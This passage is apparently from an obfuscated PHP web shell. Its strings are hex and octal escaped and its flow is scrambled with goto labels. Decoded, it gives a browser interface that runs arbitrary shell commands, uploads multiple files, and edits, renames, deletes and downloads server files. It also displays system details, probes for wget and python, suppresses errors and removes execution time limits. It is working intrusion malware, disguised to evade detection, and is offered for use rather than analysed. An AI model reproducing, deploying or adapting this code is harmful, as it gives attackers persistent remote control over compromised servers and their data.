"\x20\62\x3e\x26\x31"); } echo "\xa\x9\11\74\144\x69\166\x20\x63\x6c\x61\163\163\75\47\x6d\x62\x2d\63\47\x3e\xa\x9\x9\11\74\x66\157\x72\155\40\x6d\x65\164\150\x6f\x64\75\x27\120\117\x53\124\47\x3e\12\11\11\x9\11\x3c\x64\151\166\x20\x63\154\x61\163\x73\x3d\x27\151\156\160\x75\x74\55\x67\162\x6f\165\160\40\155\142\55\x33\47\76\xa\11\11\11\x9\11\x3c\x69\x6e\x70\x75\164\40\143\154\141\163\x73\75\x27\146\157\162\x6d\55\143\x6f\x6e\x74\x72\x6f\154\40\x62\x74\x6e\x2d\x73\155\x27\x20\x74\x79\160\x65\x3d\47\x74\145\170\164\x27\x20\x6e\x61\155\x65\75\x27\143\x6d\144\47\40\x76\141\154\165\x65\x3d\47" . htmlspecialchars($_POST["\x63\155\144"], ENT_QUOTES, "\125\x54\x46\x2d\x38") . "\47\40\x70\x6c\141\143\x65\x68\157\154\x64\145\x72\x3d\x27\167\x68\x6f\x61\155\x69\47\x20{$_r}\x3e\xa\11\11\11\11\11\74\x62\165\164\x74\x6f\x6e\x20\143\x6c\141\x73\163\75\47\142\164\x6e\40\142\x74\x6e\x2d\x6f\165\164\154\151\x6e\x65\x2d\x6c\x69\147\150\x74\x20\x62\x74\156\x2d\x73\155\x27\40\164\171\x70\x65\x3d\47\163\x75\x6d\142\151\164\47\x3e\74\151\x20\x63\x6c\x61\163\x73\x3d\47\142\151\x20\142\151\x2d\141\162\162\157\x77\x2d\162\x65\164\x75\x72\x6e\55\x72\x69\147\x68\164\x27\x3e\x3c\x2f\x69\x3e\74\57\x62\x75\x74\164\157\x6e\76\xa\x9\11\11\x9\x3c\x2f\144\x69\x76\x3e\12\x9\11\11\74\x2f\146\157\162\155\x3e"; if ($cmd) { echo "\xa\x9\x9\x9\x3c\144\151\x76\x20\x63\x6c\x61\163\163\x3d\x22\143\x6f\156\x74\141\x69\156\x65\x72\x2d\146\x6c\x75\x69\144\x20\154\141\x6e\147\165\x61\147\145\x2d\x6a\141\x76\x61\163\x63\162\x69\160\164\42\x3e\12\11\11\11\11\74\144\151\x76\40\x63\x6c\x61\163\x73\75\42\163\150\x65\154\x6c\40\x6d\142\x2d\x33\x22\x3e\12\x9\x9\11\x9\11\x3c\x70\162\x65\x20\163\x74\171\x6c\x65\x3d\42\x66\x6f\156\x74\55\x73\x69\x7a\x65\x3a\x31\60\x70\170\x3b\x22\x3e\x3c\x67\x72\x3e\x7e\74\57\x67\x72\x3e\44\x26\x6e\x62\x73\160\73\74\x72\144\76" . htmlspecialchars($_POST["\x63\x6d\x64"]) . "\x3c\57\x72\144\76\x3c\x62\162\76\x3c\143\x6f\x64\145\76" . htmlspecialchars($cmd, ENT_QUOTES, "\125\x54\106\55\x38") . "\74\57\143\x6f\144\145\76\x3c\57\x70\162\x65\76\xa\x9\11\x9\11\74\x2f\x64\x69\x76\76\12\x9\11\11\x3c\57\x64\151\x76\76"; } elseif (!$cmd && $_SERVER["\x52\105\121\125\x45\123\124\x5f\115\105\x54\x48\117\104"] == "\x50\x4f\123\x54") { echo "\xa\x9\x9\x9\x3c\144\151\166\x20\x63\x6c\141\163\163\x3d\x22\x63\x6f\x6e\164\x61\x69\156\145\162\x2d\146\154\x75\151\x64\x20\x6c\x61\156\147\x75\141\147\145\55\152\x61\166\x61\x73\x63\x72\x69\x70\x74\42\76\xa\11\x9\x9\x9\74\x64\x69\x76\x20\143\154\x61\x73\163\75\42\x73\x68\x65\154\154\x20\x6d\x62\x2d\63\42\x3e\xa\11\x9\11\11\x9\74\160\162\x65\40\163\164\171\x6c\145\x3d\42\146\x6f\156\x74\x2d\163\x69\172\x65\72\x31\60\160\x78\73\42\76\x3c\143\x6f\x64\145\x3e\116\x6f\40\x72\x65\163\x75\154\x74\x3c\x2f\x63\157\144\x65\x3e\x3c\57\x70\162\145\x3e\12\x9\11\x9\x9\x3c\x2f\x64\151\x76\x3e\xa\x9\x9\x9\x3c\57\144\151\166\76\12\x9\11\x3c\x2f\144\x69\x76\76"; } } if ($_7["\x69\144"] == "\165\160\x6c\x6f\x61\x64") { s(); if (isset($_7["\x75\160\154"])) { $result = count($_FILES["\146\151\154\x65"]["\156\x61\155\x65"]); for ($contents = 0; $contents < $result; $contents++) { $namefile = $_FILES["\146\x69\154\145"]["\x6e\x61\x6d\145"][$contents]; $up = @copy($_FILES["\x66\151\154\x65"]["\x74\155\x70\137\156\x61\x6d\x65"][$contents], "{$path}\57" . $namefile); } if ($result < 2) { if ($up) { echo "\74\x73\164\162\x6f\x6e\x67\76\x55\160\154\157\141\144\74\57\163\x74\x72\157\x6e\147\76\x20{$namefile}\40\x6f\x6b\x21\40" . ok() . "\x3c\x2f\144\x69\x76\76"; } else { echo "\x3c\x73\x74\x72\x6f\x6e\147\76\125\x70\154\157\x61\144\74\57\x73\x74\162\x6f\x6e\147\x3e\x20\x66\141\x69\x6c\41\40" . er() . "\74\57\x64\151\166\x3e"; } } else { echo "\74\x73\164\162\157\156\x67\76\x55\x70\x6c\x6f\141\x64\x3c\x2f\163\x74\x72\157\x6e\x67\x3e\x20{$result}\x20\157\x6b\x21\40" . ok() . "\x3c\57\144\x69\166\x3e"; } } echo "\xa\x9\11\74\144\x69\x76\40\x63\154\141\x73\163\75\47\143\x61\x72\144\40\143\x61\x72\x64\x2d\x62\x6f\144\171\40\164\x65\170\x74\x2d\144\x61\162\x6b\x20\x69\156\160\165\164\55\x67\162\x6f\x75\160\40\155\142\55\63\47\x3e\xa\11\11\74\x75\76\115\x75\154\x74\x69\x70\x6c\145\40\x75\x70\154\157\x61\144\x3c\57\x75\76\xa\x9\11\x9\74\146\x6f\162\x6d\40\x6d\x65\164\x68\157\x64\75\47\120\x4f\x53\x54\x27\40\x65\x6e\x63\x74\x79\x70\145\x3d\x27\x6d\165\x6c\x74\x69\160\x61\x72\x74\57\x66\157\x72\x6d\x2d\144\141\164\x61\47\76\xa\x9\x9\x9\11\74\x64\151\166\x20\143\154\141\163\163\75\x27\x69\x6e\x70\165\x74\x2d\x67\162\157\x75\160\x27\x3e\12\x9\11\x9\x9\11\74\151\156\160\x75\x74\40\x63\x6c\141\163\163\x3d\x27\x66\x6f\x72\x6d\x2d\143\157\156\164\x72\x6f\x6c\40\x66\157\x72\x6d\x2d\143\157\x6e\x74\162\157\154\x2d\x73\x6d\x27\40\164\171\160\x65\75\x27\x66\151\x6c\145\47\x20\x6e\x61\155\x65\x3d\47\x66\x69\154\x65\133\135\x27\x20\x6d\165\154\164\x69\160\154\x65\x3d\x27\47\40{$_r}\76\12\x9\x9\11\11\x9\74\151\156\160\x75\x74\x20\143\x6c\x61\x73\163\x3d\47\142\164\156\x20\x62\164\156\55\144\141\162\153\40\142\164\x6e\x2d\x73\x6d\x27\x20\164\x79\x70\x65\75\47\163\165\142\155\x69\x74\x27\40\156\x61\x6d\x65\75\x27\165\x70\154\x27\x20\x76\141\x6c\165\145\x3d\47\x75\x70\x6c\157\141\x64\47\x3e\xa\x9\11\x9\x9\x3c\57\x64\x69\x76\x3e\12\11\x9\11\x3c\57\x66\157\162\155\76\12\11\x9\x3c\x2f\x64\151\x76\76"; } } goto o8bBX; n4wge: foreach ($scand as $file) { $ft = date("\131\55\x6d\x2d\144\x20\107\72\x69", filemtime("{$path}\57{$file}")); if (function_exists("\160\157\x73\x69\x78\137\x67\x65\164\160\x77\165\151\x64")) { $fowner = @posix_getpwuid(fileowner("{$path}\x2f{$file}")); $fowner = $fowner["\x6e\141\x6d\x65"]; } else { $fowner = fileowner("{$path}\57{$file}"); } if (function_exists("\x70\x6f\163\x69\x78\137\147\145\x74\147\x72\x67\x69\144")) { $fgrp = @posix_getgrgid(filegroup("{$path}\57{$file}")); $fgrp = $fgrp["\x6e\141\155\x65"]; } else { $fgrp = filegroup("{$path}\57{$file}"); } if (!is_file($path . "\x2f" . $file)) { continue; } if (strlen($file) > 25) { $_f = substr($file, 0, 25) . "\56\x2e\x2e\55\56" . $ext; } else { $_f = $file; } echo "\xa\11\x9\74\164\x72\x3e\12\11\x9\74\x74\x64\76\x3c\x69\x20\x63\x6c\141\163\x73\75\x27\x62\151\x20\142\x69\55\146\x69\154\145\55\x65\141\162\155\x61\x72\x6b\55\x74\145\170\x74\55\x66\x69\154\x6c\47\x3e\x3c\57\151\76\x3c\x61\x20\x63\154\x61\163\x73\75\47\x74\x65\x78\x74\x2d\144\x65\143\157\162\141\164\151\x6f\x6e\55\x6e\157\156\145\x20\164\145\170\x74\55\163\145\143\x6f\x6e\x64\x61\x72\171\47\40\150\162\145\x66\x3d\x27\77\x64\151\162\75{$path}\46\141\143\164\x69\x6f\156\x3d\x76\x69\145\x77\x26\157\x70\156\75{$file}\x27\76{$_f}\x3c\57\141\76\74\x2f\164\144\x3e\12\x9\x9\x9\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x27\x74\x65\x78\x74\x2d\143\145\x6e\x74\145\x72\47\76\146\x69\x6c\145\74\x2f\164\144\x3e\12\x9\x9\x9\74\x74\x64\x20\x63\154\x61\163\163\75\47\164\x65\x78\x74\x2d\143\x65\156\164\145\162\x27\x3e{$ft}\74\57\164\144\76\xa\11\11\11\x3c\164\144\x20\x63\154\x61\163\x73\75\x27\164\145\170\x74\x2d\143\x65\156\x74\x65\162\47\x3e" . sz(filesize($file)) . "\74\57\x74\144\76\xa\x9\x9\11\x3c\x74\144\40\x63\x6c\x61\163\163\75\47\164\x65\x78\x74\x2d\143\x65\x6e\x74\x65\162\47\76{$fowner}\74\147\x72\x3e\x2f\74\x2f\x67\162\x3e{$fgrp}\74\57\164\x64\x3e\12\x9\x9\11\74\164\x64\40\143\x6c\x61\x73\163\75\x27\x74\x65\x78\x74\55\143\145\x6e\164\145\162\47\76"; if (is_writable($path . "\x2f" . $file)) { echo "\74\x67\162\x3e"; } elseif (!is_readable($path . "\57" . $file)) { echo "\74\162\x64\76"; } echo p($path . "\57" . $file); if (is_writable($path . "\57" . $file) || !is_readable($path . "\x2f" . $file)) { echo "\x3c\57\147\x72\76\x3c\x2f\162\x64\x3e\x3c\x2f\164\x64\76"; } echo "\12\11\x9\11\74\x74\144\40\143\154\x61\163\x73\x3d\47\x74\x65\170\x74\55\x63\145\x6e\164\145\x72\x27\76\12\11\x9\11\74\x64\151\x76\x20\x63\154\141\x73\x73\75\x27\x62\164\x6e\55\147\x72\x6f\x75\160\x27\x3e\xa\11\x9\x9\11\x3c\141\x20\143\154\141\x73\163\75\47\x62\x74\156\40\x62\x74\156\x2d\157\165\164\x6c\151\156\x65\55\154\151\147\x68\x74\40\142\x74\156\x2d\x73\155\x27\x20\x68\162\145\146\75\x27\77\x64\151\x72\75{$path}\46\x61\x63\x74\x69\157\x6e\75\x76\x69\145\167\46\157\x70\x6e\75{$path}\x2f{$file}\47\76\x3c\151\40\x63\154\141\163\163\75\47\x62\x69\x20\142\x69\55\145\171\x65\x2d\x66\x69\x6c\x6c\x27\76\74\57\x69\x3e\74\57\x61\76\12\11\11\11\11\x3c\141\40\x63\x6c\x61\163\163\x3d\47\x62\x74\156\40\142\x74\156\55\x6f\x75\164\x6c\151\x6e\x65\x2d\x6c\x69\x67\150\x74\x20\x62\164\156\55\163\155\47\x20\x68\162\145\x66\x3d\x27\x3f\x64\x69\x72\x3d{$path}\46\141\x63\164\x69\157\156\75\145\x64\x69\x74\x26\x6f\160\x6e\75{$path}\57{$file}\47\76\x3c\x69\x20\x63\x6c\x61\x73\163\x3d\x27\x62\x69\40\x62\151\55\160\145\156\x63\151\154\x2d\x73\x71\165\141\x72\145\47\x3e\x3c\57\x69\76\74\57\x61\x3e\12\11\11\11\11\x3c\141\40\x63\154\141\x73\163\75\x27\142\164\x6e\40\142\164\x6e\55\x6f\x75\x74\154\x69\x6e\x65\x2d\154\151\147\x68\x74\40\142\164\156\55\163\155\x27\40\x68\x72\145\x66\x3d\x27\x3f\x64\151\162\75{$path}\x26\141\x63\164\x69\157\x6e\x3d\x72\145\156\141\x6d\x65\x26\x6f\x70\x6e\x3d{$path}\57{$file}\47\x3e\74\151\x20\143\x6c\x61\163\x73\75\47\x62\x69\40\142\x69\x2d\x70\x65\x6e\x63\x69\x6c\55\x66\151\154\x6c\x27\76\x3c\x2f\x69\76\x3c\x2f\x61\76\12\x9\x9\11\x9\74\141\40\x63\154\141\163\x73\x3d\x27\142\164\156\x20\x62\164\156\x2d\157\165\164\x6c\x69\x6e\145\55\x6c\151\x67\x68\x74\40\x62\x74\156\x2d\x73\x6d\47\40\150\162\145\146\x3d\x27\x3f\144\151\x72\x3d{$path}\x26\x61\x63\x74\151\x6f\156\75\144\x65\x6c\145\x74\145\x5f\146\151\x6c\145\46\x6f\160\x6e\75{$path}\x2f{$file}\47\76\x3c\x69\40\x63\x6c\141\163\163\x3d\x27\142\x69\40\142\151\55\x74\x72\141\x73\150\x2d\146\151\154\154\47\x3e\74\x2f\x69\76\74\x2f\141\x3e\12\11\11\11\x9\74\141\40\x63\154\141\x73\x73\75\47\x62\x74\x6e\40\142\164\156\55\x6f\x75\x74\x6c\x69\156\145\55\x6c\x69\147\150\x74\40\142\x74\156\55\x73\155\x27\x20\150\162\x65\x66\75\47\x3f\x64\x69\162\x3d{$path}\46\141\143\x74\x69\x6f\x6e\x3d\144\x6f\167\156\x6c\157\141\x64\46\x6f\x70\156\75{$path}\x2f{$file}\x27\x3e\x3c\151\40\x63\154\141\x73\163\x3d\47\x62\x69\40\x62\151\x2d\144\157\x77\156\x6c\157\141\x64\x27\x3e\74\x2f\x69\x3e\74\57\x61\x3e\xa\x9\11\x9\74\57\144\151\x76\x3e\12\11\11\x9\74\x2f\x74\x64\x3e\12\11\11\x3c\57\x74\x72\76"; } goto Aif8H; qLV0I: date_default_timezone_set("\101\x73\151\x61\x2f\112\141\153\141\x72\164\x61"); goto binbg; skUzm: echo "\x26\x6e\142\163\160\73\133\40" . w($path, p($path)) . "\40\135"; goto octvi; jK5Gg: echo "\xa\x9\x9\74\144\151\x76\x20\143\154\141\x73\x73\75\42\x74\141\142\x6c\145\55\162\145\163\160\x6f\x6e\163\151\166\145\42\76\xa\x9\11\x3c\164\x61\142\x6c\145\x20\143\154\141\163\163\x3d\x22\x74\x61\142\154\145\40\164\x61\142\x6c\x65\x2d\150\157\x76\x65\x72\40\x74\141\x62\x6c\145\x2d\144\x61\x72\x6b\40\164\x65\170\164\x2d\154\151\147\150\164\42\76\12\11\11\74\x74\x68\145\141\144\76\12\x9\x9\x3c\164\x72\x3e\12\11\x9\x9\74\164\x64\40\143\x6c\141\163\163\75\42\164\x65\x78\x74\x2d\143\x65\x6e\164\145\x72\42\76\x6e\x61\x6d\x65\x3c\57\164\x64\x3e\12\x9\x9\x9\11\x3c\x74\144\x20\143\154\x61\x73\x73\75\42\x74\x65\170\x74\x2d\143\x65\156\x74\145\x72\42\76\164\x79\160\145\74\57\164\144\x3e\12\11\11\11\11\74\x74\x64\x20\x63\154\x61\163\x73\75\x22\x74\x65\170\164\55\143\x65\156\164\145\162\x22\x3e\x6c\141\x73\x74\x20\145\x64\x69\x74\74\x2f\x74\144\x3e\xa\x9\x9\x9\11\x3c\x74\x64\x20\143\154\x61\x73\x73\x3d\x22\x74\145\170\x74\55\143\145\x6e\164\145\162\42\76\163\151\172\x65\x3c\x2f\164\x64\76\12\11\x9\11\11\74\x74\x64\x20\143\x6c\141\x73\163\75\x22\x74\145\x78\164\55\143\145\156\x74\145\162\x22\76\157\x77\156\x65\162\74\x67\162\x3e\57\74\x2f\147\x72\76\147\162\x6f\165\x70\74\57\164\x64\x3e\xa\x9\11\11\x9\x3c\x74\x64\40\x63\x6c\141\x73\x73\x3d\42\164\x65\170\x74\x2d\143\x65\x6e\x74\x65\162\42\76\x70\145\162\x6d\163\151\157\x6e\x3c\x2f\164\144\76\12\11\11\x9\74\164\x64\x20\143\154\141\163\x73\x3d\x22\164\x65\170\x74\x2d\x63\145\x6e\x74\x65\162\x22\x3e\x61\x63\x74\x69\157\x6e\x3c\x2f\164\x64\x3e\xa\11\x9\x3c\57\164\162\76\xa\x9\11\74\57\x74\x68\145\x61\144\x3e\xa\x9\11\74\x74\x62\157\x64\x79\x20\143\x6c\x61\163\163\75\x22\x74\145\x78\164\55\156\157\167\162\x61\x70\42\76\12\x9\11\x3c\164\162\76\xa\x9\11\11\x3c\x74\x64\x3e\x3c\151\x20\x63\x6c\x61\x73\163\x3d\x22\142\151\40\142\x69\x2d\146\157\154\144\x65\162\x32\x2d\157\160\x65\x6e\x22\76\74\57\x69\x3e\74\141\x20\143\154\141\x73\x73\x3d\42\164\145\170\x74\x2d\x64\145\x63\x6f\x72\141\x74\151\157\156\x2d\156\x6f\x6e\145\x20\x74\x65\170\164\55\163\x65\x63\157\x6e\144\x61\162\171\42\40\150\x72\x65\146\x3d\42\x3f\x70\x61\164\x68\75" . dirname($dir) . "\42\x3e\x2e\x2e\74\x2f\141\76\x3c\57\x74\x64\76\74\164\x64\76\x3c\x2f\164\x64\x3e\x3c\164\x64\x3e\74\x2f\164\x64\x3e\x3c\x74\x64\x3e\x3c\x2f\x74\x64\x3e\x3c\x74\144\x3e\x3c\x2f\x74\144\x3e\x3c\164\144\76\74\x2f\x74\144\x3e\x3c\x74\144\40\x63\154\x61\x73\163\75\x22\x74\145\x78\x74\55\143\145\x6e\164\x65\x72\x22\x3e\xa\11\11\11\11\74\144\x69\x76\x20\143\154\x61\163\163\x3d\42\142\x74\156\x2d\147\162\x6f\x75\x70\42\76\12\11\x9\11\11\11\x3c\x61\40\x63\x6c\141\x73\x73\75\42\x62\x74\156\40\x62\x74\x6e\x2d\157\165\164\154\151\156\145\x2d\154\x69\147\x68\x74\40\142\164\156\x2d\163\x6d\42\40\x68\x72\x65\x66\75\x22\x3f\146\x69\154\145\156\x65\167\46\160\x61\164\150\75" . $dir . "\x22\x3e\x3c\151\40\143\154\141\x73\x73\x3d\42\142\151\40\142\151\x2d\x66\151\x6c\x65\55\x65\141\162\155\x61\x72\x6b\55\160\154\x75\x73\x2d\x66\151\x6c\154\42\76\74\x2f\151\76\74\x2f\x61\76\xa\11\x9\11\11\11\74\x61\40\143\x6c\x61\x73\163\75\42\x62\x74\x6e\x20\142\164\156\x2d\157\x75\x74\x6c\151\x6e\145\x2d\154\x69\147\x68\164\40\x62\164\156\55\163\155\42\x20\150\x72\x65\146\75\x22\77\144\x69\162\156\x65\x77\46\160\141\x74\x68\75" . $dir . "\x22\76\74\x69\40\143\154\x61\163\163\x3d\42\x62\x69\x20\x62\151\55\x66\x6f\x6c\x64\x65\x72\x2d\x70\x6c\165\163\x22\x3e\x3c\x2f\151\x3e\x3c\x2f\x61\76\12\x9\11\11\11\74\x2f\x64\151\166\x3e\xa\x9\11\11\74\x2f\x74\144\76\12\x9\11\x3c\x2f\164\162\x3e"; goto d3JjR; H2vUy: $xtx = $data; goto PjodP; avrpj: ini_set("\x6d\145\x6d\x6f\x72\171\137\154\x69\155\x69\164", "\66\64\115"); goto e0M_f; GM5Lw: $pesan_alert = "\133\x20{$x_path}\x20\x5d"; goto cmezN; taJBV: $wget = exe("\167\147\x65\164\x20\55\55\x68\145\x6c\160") ? "\74\x67\x72\76\x4f\x4e\x3c\x2f\147\x72\x3e" : "\x3c\162\144\76\117\x46\106\x3c\57\x72\x64\76"; goto i4QHr; GdxU5: function w($dir, $perm) { if (!is_writable($dir)) { return "\74\x72\144\x3e" . $perm . "\74\x2f\162\144\76"; } else { return "\74\x67\162\76" . $perm . "\x3c\x2f\147\x72\76"; } } goto d03Rs; mVBqX: @ini_set("\x6d\141\x78\x5f\x65\170\145\x63\165\164\151\157\156\137\164\x69\x6d\x65", 0); goto gczsm; RkY6o: function p($file) { $p = fileperms($file); if (($p & 49152) == 49152) { $i = "\163"; } elseif (($p & 40960) == 40960) { $i = "\154"; } elseif (($p & 32768) == 32768) { $i = "\55"; } elseif (($p & 24576) == 24576) { $i = "\142"; } elseif (($p & 16384) == 16384) { $i = "\x64"; } elseif (($p & 8192) == 8192) { $i = "\143"; } elseif (($p & 4096) == 4096) { $i = "\x70"; } else { $i = "\165"; } $i .= $p & 256 ? "\x72" : "\55"; $i .= $p & 128 ? "\167" : "\x2d"; $i .= $p & 64 ? $p & 2048 ? "\x73" : "\x78" : ($p & 2048 ? "\x53" : "\55"); $i .= $p & 32 ? "\162" : "\55"; $i .= $p & 16 ? "\x77" : "\55"; $i .= $p & 8 ? $p & 1024 ? "\163" : "\170" : ($p & 1024 ? "\123" : "\55"); $i .= $p & 4 ? "\162" : "\x2d"; $i .= $p & 2 ? "\167" : "\55"; $i .= $p & 1 ? $p & 512 ? "\164" : "\x78" : ($p & 512 ? "\x54" : "\x2d"); return $i; } goto x5wmL; wpPmE: if ($_7["\x61\143\x74\151\157\156"] == "\162\x65\x6e\x61\x6d\x65") { s(); echo "\12\x9\11\x3c\x64\151\x76\40\143\154\141\x73\163\x3d\x27\x62\x74\x6e\x2d\147\162\157\x75\x70\x27\x3e\12\x9\x9\11\x3c\141\x20\x63\x6c\141\163\x73\x3d\x27\x62\x74\156\40\142\164\156\x2d\x6f\x75\164\154\151\156\145\x2d\154\x69\x67\x68\164\40\142\164\x6e\55\163\155\x27\40\150\162\x65\146\x3d\47\77\144\x69\x72\75{$path}\46\141\x63\x74\151\157\156\75\x76\x69\x65\167\x26\157\160\156\75{$file}\47\x3e\74\151\x20\x63\154\x61\163\x73\x3d\47\142\x69\x20\x62\x69\x2d\145\x79\x65\x2d\x66\x69\154\x6c\47\x3e\74\x2f\x69\76\74\x2f\141\76\xa\x9\11\x9\x3c\141\40\x63\x6c\x61\x73\x73\x3d\47\142\164\156\x20\142\x74\x6e\55\157\x75\164\x6c\x69\156\145\55\154\151\147\150\164\40\142\x74\156\x2d\163\x6d\x27\40\x68\x72\145\146\75\47\x3f\144\151\x72\x3d{$path}\x26\141\143\164\151\x6f\x6e\75\x65\144\x69\x74\46\x6f\160\156\75{$file}\47\76\x3c\x69\40\143\x6c\141\163\x73\75\x27\x62\x69\40\142\x69\x2d\x70\x65\x6e\143\x69\x6c\x2d\x73\x71\165\141\162\145\x27\76\74\57\151\x3e\x3c\x2f\141\x3e\xa\x9\x9\11\74\141\40\143\154\141\163\x73\x3d\x27\x62\164\x6e\40\x62\x74\156\x2d\157\x75\164\x6c\x69\x6e\x65\55\154\151\x67\x68\x74\40\x62\164\156\x2d\163\x6d\x27\40\150\162\x65\x66\75\x27\x3f\x64\151\x72\x3d{$path}\x26\141\143\x74\x69\x6f\x6e\75\x72\145\x6e\x61\x6d\x65\x26\x6f\x70\x6e\x3d{$file}\x27\76\74\151\x20\x63\x6c\x61\x73\x73\75\x27\142\151\40\x62\x69\x2d\x70\145\156\143\151\154\55\x66\151\154\x6c\47\x3e\74\57\151\x3e\74\x2f\141\76\12\11\11\x9\74\141\40\x63\154\141\163\163\x3d\47\142\x74\x6e\40\x62\164\x6e\55\x6f\x75\164\x6c\151\156\145\55\x6c\x69\147\150\x74\x20\x62\x74\x6e\x2d\163\155\47\x20\150\162\145\x66\x3d\47\77\x64\x69\162\x3d{$path}\46\x61\143\x74\151\157\x6e\75\144\x65\x6c\145\x74\x65\137\146\x69\154\145\x26\157\x70\x6e\x3d{$file}\47\x3e\74\151\40\x63\x6c\x61\x73\163\x3d\x27\142\151\40\142\151\x2d\164\x72\141\x73\150\x2d\146\151\154\x6c\47\x3e\x3c\57\151\76\x3c\x2f\x61\x3e\12\x9\x9\x9\x3c\141\40\143\154\x61\x73\163\75\47\142\164\156\x20\142\x74\x6e\x2d\157\x75\164\x6c\151\x6e\145\x2d\154\151\x67\x68\164\x20\142\x74\156\55\x73\x6d\x27\x20\x68\x72\145\146\x3d\47\x3f\144\x69\x72\75{$path}\x26\141\x63\x74\151\157\x6e\75\x64\x6f\167\156\154\x6f\141\x64\x26\x6f\160\x6e\x3d{$file}\47\x3e\x3c\x69\40\x63\x6c\x61\x73\x73\75\x27\142\x69\x20\x62\151\55\144\157\167\156\x6c\157\x61\x64\x27\76\x3c\x2f\151\76\x3c\57\x61\x3e\xa\11\x9\x3c\57\x64\x69\x76\76\12\11\11\x3c\x62\x72\76\12\x9\11\11\74\x69\x20\x63\154\x61\x73\163\75\47\142\x69\40\x62\x69\55\146\151\154\x65\55\x65\x61\162\x6d\141\162\x6b\47\76\x3c\57\x69\x3e\72\46\x6e\x62\x73\160\73" . basename($file) . "\xa\x9\x9\x3c\x2f\x62\x72\x3e\xa\x9\x9\x3c\146\157\x72\155\x20\155\145\x74\x68\x6f\144\75\47\120\117\123\124\x27\76\12\11\11\11\x3c\144\151\166\40\143\154\141\163\x73\75\x27\x69\156\x70\165\164\x2d\147\162\157\165\160\47\76\xa\11\11\x9\x9\x3c\x69\x6e\160\x75\164\40\x63\x6c\141\x73\163\x3d\47\x66\x6f\x72\155\x2d\x63\x6f\x6e\164\162\157\154\x20\142\164\156\x2d\163\x6d\47\x20\164\x79\x70\145\75\47\x74\x65\x78\x74\x27\x20\156\141\x6d\x65\x3d\x27\156\145\x77\x5f\x6e\x61\155\x65\47\40\x76\x61\154\x75\145\x3d\47" . basename($file) . "\x27\x20{$_r}\76\12\x9\x9\11\11\x3c\x62\165\164\164\x6f\x6e\40\143\154\141\x73\163\75\x27\x62\x74\x6e\x20\x62\x74\156\x2d\157\x75\x74\x6c\151\156\145\x2d\x6c\151\x67\150\x74\x20\142\x74\x6e\x2d\x73\x6d\x27\x20\x74\x79\160\145\x3d\47\163\x75\x6d\142\151\164\x27\x20\156\141\x6d\x65\75\x27\162\x5f\146\47\76\x3c\x69\40\143\154\141\x73\163\75\47\142\x69\40\x62\x69\55\141\x72\x72\157\x77\55\x72\x65\x74\x75\162\x6e\x2d\162\151\x67\x68\x74\x27\76\x3c\57\x69\76\x3c\57\x62\x75\164\x74\x6f\156\x3e\12\11\x9\x9\x3c\57\x64\151\166\x3e\xa\x9\x9\x3c\x2f\146\157\x72\x6d\x3e"; } goto UQq_F; vbV3q: $_r = "\x72\145\x71\165\x69\x72\x65\x64\75\x27\162\145\x71\x75\x69\x72\145\x64\x27"; goto BZcMI; f20ej: @ini_set("\144\151\163\160\154\141\171\x5f\x65\162\x72\157\162\163", 0); goto Lw2_l; McQhW: $py = exe("\160\171\x74\x68\x6f\156\x20\55\x2d\150\x65\x6c\x70") ? "\x3c\x67\162\x3e\117\x4e\x3c\x2f\147\162\76" : "\x3c\x72\144\x3e\x4f\x46\106\x3c\57\162\144\x3e"; goto JpEYZ; OcHn3: $telegram = "\x6f\156"; goto a2ryI; gUvZY: if (empty($disfunc)) { $disfc = "\74\147\162\x3e\x4e\117\x4e\x45\x3c\x2f\147\x72\x3e"; } else { $disfc = "\x3c\x72\144\76{$disfunc}\74\x2f\162\144\x3e"; } goto viHFv; viHFv: if (!function_exists("\160\x6f\x73\151\x78\137\x67\x65\x74\x65\x67\x69\x64")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "\x3f"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid["\156\x61\155\x65"]; $uid = $uid["\165\x69\144"]; $group = $gid["\156\141\155\145"]; $gid = $gid["\x67\x69\x64"]; } goto XqpqE; qKf4D: echo "\12\11\11\74\144\x69\x76\40\143\x6c\141\163\163\75\47\143\x6f\156\164\x61\151\156\145\162\55\x66\x6c\165\151\x64\47\x3e\xa\11\11\x9\74\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\x27\143\157\x72\x6e\x65\162\x20\141\x6e\165\x27\76\12\11\11\11\x9\74\x62\x20\x64\x61\164\x61\x2d\142\x73\x2d\x74\x6f\147\x67\154\145\75\x27\143\x6f\154\x6c\x61\x70\163\x65\x27\x20\x64\x61\x74\141\x2d\142\163\x2d\x74\141\x72\x67\x65\x74\x3d\x27\x23\x63\157\154\154\x61\160\x73\145\105\170\141\155\x70\154\x65\x27\x20\141\162\151\141\x2d\145\170\160\x61\x6e\x64\x65\x64\75\x27\146\x61\x6c\163\145\x27\x20\x61\162\151\141\55\x63\x6f\156\x74\162\x6f\154\163\75\47\x63\x6f\x6c\154\141\160\163\145\x45\170\141\x6d\x70\x6c\145\x27\76\74\151\x20\x63\x6c\x61\163\163\x3d\47\142\x69\40\142\x69\x2d\x69\x6e\146\x6f\x2d\x63\x69\x72\x63\x6c\x65\47\x3e\x3c\x2f\151\x3e\40\151\156\146\x6f\x20\163\145\162\x76\145\162\40\x3c\151\x20\x63\154\x61\x73\x73\75\47\142\151\x20\142\151\x2d\x63\x68\145\166\162\157\156\x2d\144\x6f\x77\x6e\x27\76\x3c\x2f\x69\76\74\x2f\x62\76\xa\x9\x9\x9\74\x2f\144\x69\166\76\12\11\x9\x9\x3c\144\x69\x76\x20\x63\154\141\x73\163\x3d\x27\143\157\154\154\x61\160\x73\x65\x20\164\x65\170\x74\x2d\x64\141\x72\153\40\x6d\x62\x2d\63\47\40\x69\x64\75\x27\x63\157\154\x6c\x61\x70\x73\x65\x45\170\141\x6d\160\154\x65\x27\x3e\xa\11\x9\x9\11\74\x64\x69\166\40\143\x6c\x61\163\x73\x3d\47\142\157\x78\40\x73\x68\141\144\157\x77\40\x62\x67\x2d\x6c\x69\147\x68\x74\x20\x70\55\x33\x20\x72\x6f\x75\x6e\x64\x65\144\x2d\63\47\76\xa\11\x9\11\x9\123\171\x73\x74\145\155\x3a\40\x3c\147\x72\x3e" . php_uname() . "\x3c\57\147\x72\x3e\x3c\142\162\76\xa\11\11\x9\11\x53\x6f\146\164\167\x61\162\145\72\x20\x3c\147\x72\76" . $_SERVER["\123\x45\122\x56\x45\122\x5f\123\x4f\106\124\127\x41\122\x45"] . 